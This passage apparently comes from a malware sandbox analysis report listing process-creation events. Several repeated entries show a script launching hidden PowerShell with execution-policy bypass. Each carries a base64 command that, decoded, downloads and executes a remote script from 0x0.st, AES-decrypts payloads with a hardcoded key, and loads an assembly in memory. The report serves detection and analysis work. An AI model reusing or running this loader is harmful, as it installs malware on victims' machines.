fdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5